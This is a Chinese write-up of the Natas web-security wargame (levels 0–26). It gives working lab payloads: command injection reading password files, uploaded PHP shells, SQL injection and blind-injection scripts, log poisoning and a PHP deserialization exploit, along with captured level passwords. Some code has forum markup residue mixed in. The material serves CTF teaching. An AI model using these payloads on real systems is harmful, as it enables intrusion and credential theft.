前言:

Natas是一个教授服务器端Web安全基础知识的 wargame,通过在每一关寻找Web安全漏洞,来获取通往下一关的秘钥,适合新手入门Web安全。 传送门~


接下来给大家分享一下,1-20题的WriteUp



Natas0:

SRE实战 互联网时代守护先锋,助力企业售后服务体系运筹帷幄!一键直达领取阿里云限量特价优惠。 提示密码就在本页,右键查看源码,注释中发现 key KeygtVrDuiDfck831PqWsLEZy5gyDz1clto 知识点:查看页面源码



Natas1:

提示密码就在本页,但右键被禁用,可以使用 F12查看元素得到key (常用的查看源码方法:右键查看、 F12查看元素,给页面url前加’view-source:’查看,使用Linux Curl命令查看) KeyZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi 知识点:查看页面源码



Natas2:

在源码中发现一个图片的链接,分析图片,无隐写内容,联想到目录权限问题,访问同级目录 http://natas2.natas.labs.overthewire.org/files,发现存在名为users.txt的文件,读取得到key KeysJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14 知识点:水平越权



Natas3:

在源码中发现提示:无信息泄露,谷歌这次不会发现它。提到了搜索引擎,猜测爬虫协议 robots.txt中存在信息泄露,访问网站爬虫协议http://natas3.natas.labs.overthewire.org/robots.txt,发现Disallow: /s3cr3t/,尝试访问一下该目录http://natas3.natas.labs.overthewire.org/s3cr3t/,发现了user.txt,读取得到key KeyZ9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ 知识点:爬虫协议 robots.txt



Natas4:

提示来源出错,合法用户只能来自 "http://natas5.natas.labs.overthewire.org/",在httpheader中,referer代表从哪里跳转到本页面,只需要将该url写入到referer中即可。 (修改 referer的值,可以用Burp Suite抓包后修改,也可以使用firefox插件hackbar来完成,还可以使用curl命令的 --referer参数来实现。) KeyiX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq 知识点:页面来源伪造



Natas5:

提示不允许进入,没有登录,查看 cookie信息后发现存在loggedin项,且值为0,猜测该值代表是否登录,将其修改为1,得到key cookie信息是网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据,可以使用Burp Suite抓包后修改,也可以使用火狐的FireBug插件来编辑修改,还可以使用linux curl命令的 --cookie参数来修改) KeyaGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1 知识点: cookie伪造



Natas6:

该题提供了 php源码,点击查看分析,发现调用了includes/secret.inc页面,在输入一个变量secret后,如果和includes/secret.inc中 预设的secret相同,则输出密码,尝试访问该页面http://natas6.natas.labs.overthewire.org/includes/secret.inc,在其源码中发现预设字符——"FOEIUWGHFEEUHOFUOIU",将该字符输入到之前的表单查询中,得到key Key7z3hEENjQtflzgnT29q7wAvMNfZdh0i9 知识点: PHP Include 



Natas7:

页面出现了两个选项,点击后跳转,观察 url发现了page参数,猜测可能存在任意文件读取漏洞,且源码给了提示,密码在/etc/natas_webpass/natas8 中,将/etc/natas_webpass/natas8设为page参数的值,成功读取到key KeyDBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe 知识点:  任意文件读取漏洞



Natas8:

同样给了 php源码,审计源码,发现给了一个预设参数encodedSecret,以及一个加密函数encodeSecret 该函数将secret参数先进行base64编码、然后用strrev 函数进行倒序,再用 bin2hex 函数转为16进制,返回结果。如果点击提交,且post传入的secret 参数值经加密后,等于 encodedSecret 参数的值,则输出key。至此,只需要将 encodedSecret的值逆推,然后post即可。 先把 ’3d3d516343746d4d6d6c315669563362’16进制转成字符,然后把该字符串倒序,最后将之base64解码,得到’oubWYf2kBqz',将该字符串post得到key KeyW0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl 知识点:常见编码、 php函数



Natas9:

仍然给出源码,审计,发现使用了 php命令执行函数passthru,执行了grep命令,由此想到命令注入漏洞,且已知各等级密码均存储在/etc/natas_webpass目录下,使用;|&来截断grep命令,再用cat读取密码,用#注释掉后面的内容,构造如下:& cat /etc/natas_webpass/natas10 #post得到key KeynOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu 知识点:命令注入漏洞



Natas10:

这题和上题类似,但使用了正则过滤,过滤掉了一些字符,无法继续截断,但可以利用 grep命令匹配密码来实现,grep支持正则,输入 [a-zA-Z] /etc/natas_webpass/natas11 # 即可得到 key KeyU82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK 知识点:正则表达式、 grep命令



Natas11:

页面提示 cookie被异或加密保护,查看源码,发现了一个预定义参数和三个函数 参数:$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff") #猜测将showpassword设置为yes即可得到密码。 异或加密函数: [PHP]  纯文本查看 复制代码 ?
01 02 03 04 05 06 07 08 09 10 function xor_encrypt( $in ){      $key = '<censored>' ;  #预定义参数key      $text = $in ;          #输入参数      $outText = '' ;          #输出参数      // Iterate through each character      for ( $i =0; $i < strlen ( $text ); $i ++) {    # for 循环,遍历输入参数      $outText .= $text [ $i ] ^ $key [ $i % strlen ( $key )];  #将输入参数对应位和key对应位异或,key位数不够则从头循环,结果存到输出参数      }      return $outText ;         #返回加密结果 }

加载函数: function loadData($def),加载data,将$_COOKIE["data"]解密还原,存为 $mydata 数组,返回$mydata 保存函数:function saveData($d),将传入的参数,经过编码处理,存入$_COOKIE["data"]中。 主要思路就是得到构造新的输入参数,使得 "showpassword"=>"yes",编码后得到新的data。这就要求要知道key的值,而已有一个默认值,由此逆推得到key [PHP]  纯文本查看 复制代码 ?
01 02 03 04 05 06 07 08 09 10 11 12 13 <?php $defaultdata = array ( "showpassword" => "no" , "bgcolor" => "#ffffff" ); $data = 'ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw' ; function xor_encrypt( $in , $out ) {      $key = '' ;      $text = $in ;      for ( $i =0; $i < strlen ( $text ); $i ++) {      $key .= $text [ $i ] ^ $out [ $i ];      }      return $key ; }   echo xor_encrypt(json_encode( $defaultdata ), base64_decode ( $data )); ?>
得到 key:$key = ’qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq’ 再利用 key,构造新data [PHP]  纯文本查看 复制代码 ?
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 <?php $defaultdata = array ( "showpassword" => "yes" , "bgcolor" => "#ffffff" ); function xor_encrypt( $in ) {      $key = 'qw8J' ;      $text = $in ;      $outText = '' ;        // Iterate through each character      for ( $i =0; $i < strlen ( $text ); $i ++) {      $outText .= $text [ $i ] ^ $key [ $i % strlen ( $key )];      }      return $outText ; } echo base64_encode (xor_encrypt(json_encode( $defaultdata ))); ?>
得到新的 dataClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK 替换 cookie中的data,得到key KeyEDXp0pS26wLKHZy1rDBPUZk0RK**IR3 知识点:常见编码、异或逆推、修改 cookie



Natas12:

文件上传页面,发现没做过滤,只是把上传后的文件名及后缀名修改了,思路就是上传一个简单的 php文件,读取/etc/natas_webpass/natas13。点击上传php文件,用burp拦截,修改name后缀为php,访问返回的php页面即可得到key   [PHP]  纯文本查看 复制代码 ?
1 2 3 <?php system( 'cat /etc/natas_webpass/natas13' ); ?>
KeyjmLTY0qiPZBbaKc9341cqPQZBJv7MQbY 知识点:文件上传、抓包修改    

Natas13:

还是文件上传,测试上传发现过滤, exif_imagetype()函数,用于检验文件是否是图片,读取一个图像的第一个字节并检查其签名,只要在php文件最前面加上图片信息签名即可绕过。 [PHP]  纯文本查看 复制代码 ?
1 2 3 4 5 GIF89a   <?php system( 'cat /etc/natas_webpass/natas14' ); ?>
其余与 12题相同。 KeyLg96M10TdfaPyVBkJdjymbllQ5L6qdl1 知识点:文件上传,绕过签名检测



Natas14:

是一个登录界面,有源码,查看源码后发现是一个无过滤的 sql注入题,使用万能密码登录即可。 Username:admin" or 1=1 # password没做空值校验,随便输入或不输入皆可。 KeyAwWj0w5cvxrZiONgZ9J5stNVkmxdk39J 知识点: sql万能密码



Natsa15:

依旧是 sql注入题,查看源码,分析一下,发现没有sql信息的回显,只有对用户名的判断,确定是sql盲注。 Sql查询语句如下: [PHP]  纯文本查看 复制代码 ?
1 $query = "SELECT * from users where username=\"" . $_REQUEST [ "username" ]. "\"" ;
Databse构造语句如下: [PHP]  纯文本查看 复制代码 ?
1 2 3 4 CREATE TABLE `users` (    `username` varchar(64) DEFAULT NULL,    `password` varchar(64) DEFAULT NULL );
猜测一下,是否存在 user=natas16,返回存在,因为每一关的key都长达32位,不容易爆破,使用注入得到password更合适一些。虽然sql语句中只查询了username,但可以使用and将对password的查询连接起来,构成布尔注入,使用like模糊查询,最终得到key Payload [PHP]  纯文本查看 复制代码 ?
1 'username' : 'natas16" AND password LIKE binary "%s"%字符'
脚本: [Python]  纯文本查看 复制代码 ?
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 import requests   url = "http://natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J@natas15.natas.labs.overthewire.org/index.php" chr = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz" payload = r 'natas16" AND password LIKE binary "%s" #' #使用like模糊查询不会区分大小写,要带上binary。 key = "%" while len (key) < = 32 : #循环32次      for i in chr :        #确定字符          a = key[: - 1 ] + i + key[ - 1 :]          print a          req = requests.post(url = url,data = { 'username' :payload % a})          if "This user exists" in req.text:              key = a              print key      print key    #输出key
KeyWaIHEacj63wnNIBROHeqi3p9t0m5nhmh 知识点: sql盲注之布尔盲注



Natas16: 这一关相较于之前的第 10题,加上了正则过滤,使得;|&`\'"无法使用,且grep的检索中添加了引号,无法添加其他选项和参数。代码: [PHP]  纯文本查看 复制代码 ?
1 passthru ( "grep -i \"$key\" dictionary.txt" );
但在 PHP中,$()可以在引号中使用,因此,可以再次构造内层grep的正则匹配,即: [PHP]  纯文本查看 复制代码 ?
1 passthru ( "grep-i " ( $grep ^a  etc/natas_webpasswd/natas17)wrong \ " dictionary.txt" );
如果 password的首字母为a,内层检索到了内容,则返回不为空,与后面的查询连接,使得外层检索变形,从而不返回标志字符hello 如果不为 a,则内层未检索到,返回为空,则继续进行外层检索,会输出标志字符wrong或其他内容。 抓包查看数据提交方式,是 get提交,格式为?needle=xxxx&submit=Search 据此,构造脚本,得到 key 脚本: [Python]  纯文本查看 复制代码 ?
01 02 03 04 05 06 07 08 09 10 11 import requests url = "http://natas16:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh@natas16.natas.labs.overthewire.org/" key = '' char = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' [ / color][ / font][ / align][align = left][font = 宋体][color = Black] [ / color][ / font][ / align][align = left][font = 宋体][color = Black] while len (key) < 32 :      for i in range ( len (char)):          payload = { 'needle' : '$(grep ^' + key + char + '.* /etc/natas_webpass/natas17)wrong' , 'submit' : 'Search' }          req = requests.get(url = url,params = payload)          if 'wrong' not in req.text:              key + = char      print key
Key8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw 知识点:正则匹配, php命令执行



Natas17:

分析源码,又是一道 sql注入题,与15题的内容类似,只是不再提供回显,所有echo均被注释掉了,查询语句如下: 猜测到 usernamenatas18,依旧是盲注的思想,但因为没有作为判断的回显,所以这次选择时间盲注,使用if()sleep()函数完成注入。 脚本: [Python]  纯文本查看 复制代码 ?
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 import requests [ / color] [color = Black] url = 'http://natas17:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw@natas17.natas.labs.overthewire.org/index.php' key = ''   for i in range ( 1 , 33 ):      a = 32      c = 126      while a<c:          b = (a + c) / 2          payload = r 'natas18" and if(%d<ascii(mid(password,%d,1)),sleep(2),1) and "" like "' % (b,i)          try :              req = requests.post(url = url,data = { "username" :payload},timeout = 2 )          except requests.exceptions.Timeout,e:              a = b + 1              b = (a + c) / 2              continue          c = b      key + = chr (b)      print key
KeyxvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP 知识点: sql盲注之时间盲注



Natas18:

一个登录界面,查看源码,发现没有连接数据库,使用 Session登录,且$maxid设定了不大的上限,选择采取爆破。 burp抓包,给headers里添加cookiePHPSESSID,使用intruder的狙击模式,爆破PHPSESSID,从1-640,当为138时,成功登陆,得到key 过程如图: <ignore_js_op>web安全Wargame—Natas解题思路(1-26) Safe 第1张 
web安全Wargame—Natas解题思路(1-26) Safe 第2张 web安全Wargame—Natas解题思路(1-26) Safe 第3张 <ignore_js_op> web安全Wargame—Natas解题思路(1-26) Safe 第4张    Key4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs 知识点:  Session登录,暴力破解



Natas19:

提示,遇上一题源码类似,只是 PHPSESSID不连续。随便输入usernamepassword,抓包观察PHPSESSID,发现是输入的信息,按照password-username的格式,由ascill码转化为16进制,猜测正确PHPSESSID,应该是id-admin,用python构造字典,burp抓包后使用intruder模块,导入字典后进行暴力破解。 字典脚本: [Python]  纯文本查看 复制代码 ?
1 2 3 4 5 6 7 a = [] for i in range ( 30 , 40 ):      for j in range ( 30 , 40 ):          a.append( '%d%d' % (i,j)) with open ( "1.txt" , "w" )as f:      for i in a:          f.write(i + "\n" )
PHPSESSID=38392d61646d696e时,得到key Keyeofm3Wsshxc5bwtVnEuGIlr7ivb9KABF 知识点: Session登录,常见编码,暴力破解



Natas20:

读取源码,发现把 sessionID存到了文件中,按键值对存在,以空格分隔,如果$_SESSION["admin"]==1,则成功登陆,得到key。并且通过查询所提交的参数,也会被存到文件中,因此,可以采取注入键值对admin 1的方式来实现修改。 使用 burp抓包,将name参数修改位:name=111 %0Aadmin 1,得到key KeyIFekPyrQXftziDEsUr3x21sYuahypdgJ 知识点: Session登录,注入参数     Natas21:
提示 http://natas21.natas.labs.overthewire.org/页面和http://natas21-experimenter.natas.labs.overthewire.org页面同位,也就是共用服务器,session也是共用的。 查看第一个网页源码,发现主要功能就是判断 session[admin]=1后显示密码; [PHP]  纯文本查看 复制代码 ?
1 2 3 4 5 查看第一个网页源码,发现主要功能就是判断session[admin]=1后显示密码; if ( $_SESSION and array_key_exists ( "admin" , $_SESSION ) and $_SESSION [ "admin" ] == 1) { print "You are an admin. The credentials for the next level are:<br>" ; print "<pre>Username: natas22\n" ; print "Password: <censored></pre>" ;

print "Password: <censored></pre>";[/mw_shl_code]
查看第二个网页源码,发现可以提交数据,更新session,虽然有POST参数校验,但仍可以注入admin=1。 可利用源码: [PHP]  纯文本查看 复制代码 ?
1 2 3 4 5 6 //  if update was submitted, store it if ( array_key_exists ( "submit" , $_REQUEST )) {                              foreach ( $_REQUEST as $key => $val ) {      $_SESSION [ $key ] = $val ;      } }
直接在第二个页面提交数据, burp抓包截取,在post参数最后加上admin=1,然后使用第二个网页的session id,更新第一个网页的session id,刷新得到key Key:chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ 知识点: 共用 sessionsession注入

Natas22:
查看源码,发现关键代码: [PHP]  纯文本查看 复制代码 ?
1 2 3 4 5 if ( array_key_exists ( "revelio" , $_GET )) {      // only admins can reveal the password      if (!( $_SESSION and array_key_exists ( "admin" , $_SESSION ) and $_SESSION [ "admin" ] == 1)) {      header( "Location: /" );      }
header(“Location: /”) 中, header 函数表示发送一个原始  Http Header 到客户端,指定 Location 是进行重定向, / 表示本地,即刷新。 [PHP]  纯文本查看 复制代码 ?
1 2 3 4 5 6 //  if update was submitted, store it if ( array_key_exists ( "submit" , $_REQUEST )) {                              foreach ( $_REQUEST as $key => $val ) {      $_SESSION [ $key ] = $val ;      } }
如果 get参数中包含revelio,则输出key 总结思路,先在 get参数中添加revelio,满足显示key条件,但要避免刷新,所以使用burp抓包,把第一次抓到的数据包放到RepeaterGo一下,这样可以避免第二次的跳转,在返回中看到了key KeyD0vlad33nQF0Hz2EP255TP5wSW9ZsRSE 知识点: header重定向、burp截取抓包     Natas23: 登录题,查看源码,发现关键代码: [PHP]  纯文本查看 复制代码 ?
1 2 3 4 5 6 7 8 if ( array_key_exists ( "passwd" , $_REQUEST )){         if ( strstr ( $_REQUEST [ "passwd" ], "iloveyou" ) && ( $_REQUEST [ "passwd" ] > 10 )){             echo "<br>The credentials for the next level are:<br>" ;             echo "<pre>Username: natas24 Password: <censored></pre>" ;         }         else {             echo "<br>Wrong!<br>" ;         }
要求提交的passwd参数中包含字符iloveyou,且要其数值大于10。考察的就是php字符与数值比较时,会从开头截取数字,到字符前为止。所以构造passwd为11iloveyou即可。 Key:OsRmXFguozKpTZZ5X14zNO43379LZveg 知识点:php弱类型     Natas24:
还是登录题,查看源码,发现关键代码: [AppleScript]  纯文本查看 复制代码 ?
01 02 03 04 05 06 07 08 09 10 < ?php      if ( array_key_exists ( "passwd" , $_REQUEST ) ) {          if ( !strcmp ( $_REQUEST[ "passwd" ] , "<censored>" ) ) {              echo "<br>The credentials for the next level are:<br>" ;              echo "<pre>Username: natas25 Password: <censored></pre>" ;          }          else {              echo "<br>Wrong!<br>" ;          } }
存在 strcmp()函数,strcmp()函数的作用是比较两个字符串,相同则为0。由此自然想到了strcmp漏洞,strcmp函数无法比较数组,会返回0,将passwd输入为数组即可绕过。 Payload: [url]http://natas24.natas.labs.overthewire.org/?passwd[/url][]=1 KeyGHF6X7YwACaYYssHVY05cFq83hRktl4c 知识点: strcmp绕过漏洞     Natas25:
查看源码,发现关键函数: [PHP]  纯文本查看 复制代码 ?
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 function setLanguage(){                         #选择语言          /* language setup */          if ( array_key_exists ( "lang" , $_REQUEST ))                     if (safeinclude( "language/" . $_REQUEST [ "lang" ] ))#检查输入                  return 1;          safeinclude( "language/en" );                } function safeinclude( $filename ){                #检查输入参数          // check for directory traversal          if ( strstr ( $filename , "../" )){            #禁止目录遍历              logRequest( "Directory traversal attempt! fixing request." );              $filename = str_replace ( "../" , "" , $filename );          }          // dont let ppl steal our passwords          if ( strstr ( $filename , "natas_webpass" )){  #文件访问控制              logRequest( "Illegal file access detected! Aborting!" );              exit (-1);          }          // add more checks...          if ( file_exists ( $filename )) {           #检测目录是否存在              include ( $filename );              return 1;          }          return 0; }   function logRequest( $message ){                   #请求日志     $log = "[" . date ( "d.m.Y H::i:s" ,time()) . "]" ;   #时间日期     $log = $log . " " . $_SERVER [ 'HTTP_USER_AGENT' ];#加http_user_agent     $log = $log . " \"" . $message . "\"\n" ;         #加上message     $fd = fopen ( "/var/www/natas/natas25/logs/natas25_" . session_id() . ".log" , "a" );                                            #将日志信息写入文件          fwrite( $fd , $log );          fclose( $fd );      }
禁止目录遍历中,将 ”../”替换成了”“,但这是可以绕过的,if是一次性把所有符合的替换掉,构造复合的参数即可绕过,例如:....//..././ 而文件访问控制,则使得无法直接读取 key,但存在日志信息,日志信息中保存有http_user_agent,这可以是新的注入点,把读取文件的php命令写入其中,访问即可得到key 先访问日志文件 ../?lang=....//....//....//....//....//....//var/www/natas/natas25/logs/natas25_65pv1nmmkorshdjlem56ktptf5.log 再使用 burp抓包,修改HTTP_USER_AGRENT为:<?php include("/etc/natas_webpass/natas26")?>,在返回的日志文件中得到key KeyoGgWAJ7zcGT28vYazGo4rkhOPDhBu34T 知识点: 绕过 if替换、代码审计
  Natas26:
查看源码,发现了 php反序列化函数unserialize(),且可以通过cookie来控制unserialize()的变量,猜测存在php反序列化漏洞。 Php序列化:php为了方便进行数据的传输,允许把复杂的数据结构,压缩到一个字符串中。使用serialize()函数。 Php反序列化:将被压缩为字符串的复杂数据结构,重新恢复。使用unserialize() 函数。 php反序列化漏洞:php有许多魔术方法,如果代码中使用了反序列化 unserialize()函数,并且参数可控制,那么可以通过设定注入参数来完成想要实现的目的。 关键代码: [PHP]  纯文本查看 复制代码 ?
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 class Logger{                          private $logFile ;                        #三个私有参数          private $initMsg ;          private $exitMsg ;            function __construct( $file ){    #类创建时调用              // initialise variables     #初始化变量              $this ->initMsg= "#--session started--#\n" ;              $this ->exitMsg= "#--session end--#\n" ;              $this ->logFile = "/tmp/natas26_" . $file . ".log" ;                // write initial message       #写入初始信息              $fd = fopen ( $this ->logFile, "a+" );              fwrite( $fd , $initMsg );              fclose( $fd );          }                                function log( $msg ){                #写入信息              $fd = fopen ( $this ->logFile, "a+" );              fwrite( $fd , $msg . "\n" );              fclose( $fd );          }                                function __destruct(){        #类销毁时调用              // write exit message        #写入退出信息                     $fd = fopen ( $this ->logFile, "a+" );              fwrite( $fd , $this ->exitMsg);              fclose( $fd );          }                       }
观察代码可以发现,在类销毁时调用的 __destruct()魔术方法,可以向任意文件写入信息。 if (array_key_exists("drawing", $_COOKIE)){             $drawing=unserialize(base64_decode($_COOKIE["drawing"]));         } 而且,可以通过 cookie来写入序列化注入信息。 总结思路,通过 cookie来注入信息,利用反序列化漏洞来构造可以执行查看keypayload,写入到目录下即可。 Payload [PHP]  纯文本查看 复制代码 ?
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 <?php class Logger{          private $logFile ;          private $initMsg ;          private $exitMsg ;          function __construct(){   #注入信息              $this ->initMsg= "" ;              $this ->exitMsg= "<?echo include '/etc/natas_webpass/natas27';?>" ;              $this ->logFile= "img/aaa.php" ;          } }   $test = new Logger(); echo serialize( $test ); echo "\n" ; echo base64_encode (serialize( $test ));    #显示base64编码后的序列化字符串 ?>
本地执行,得到 base64编码后的序列化字符串: Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czoxMToiaW1nL2FhYS5waHAiO3M6MTU6IgBMb2dnZXIAaW5pdE1zZyI7czowOiIiO3M6MTU6IgBMb2dnZXIAZXhpdE1zZyI7czo0NjoiPD9lY2hvIGluY2x1ZGUgJy9ldGMvbmF0YXNfd2VicGFzcy9uYXRhczI3Jzs/PiI7fQ== 把字符串覆盖到 cookie[drawing]中,访问../img/aaa.php即可得到key Key:55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ 知识点: php反序列化漏洞、代码审计
END~

大家有任何问题可以提问,更多文章可到i春秋论坛阅读哟~

扫码关注我们
微信号:SRE实战
拒绝背锅 运筹帷幄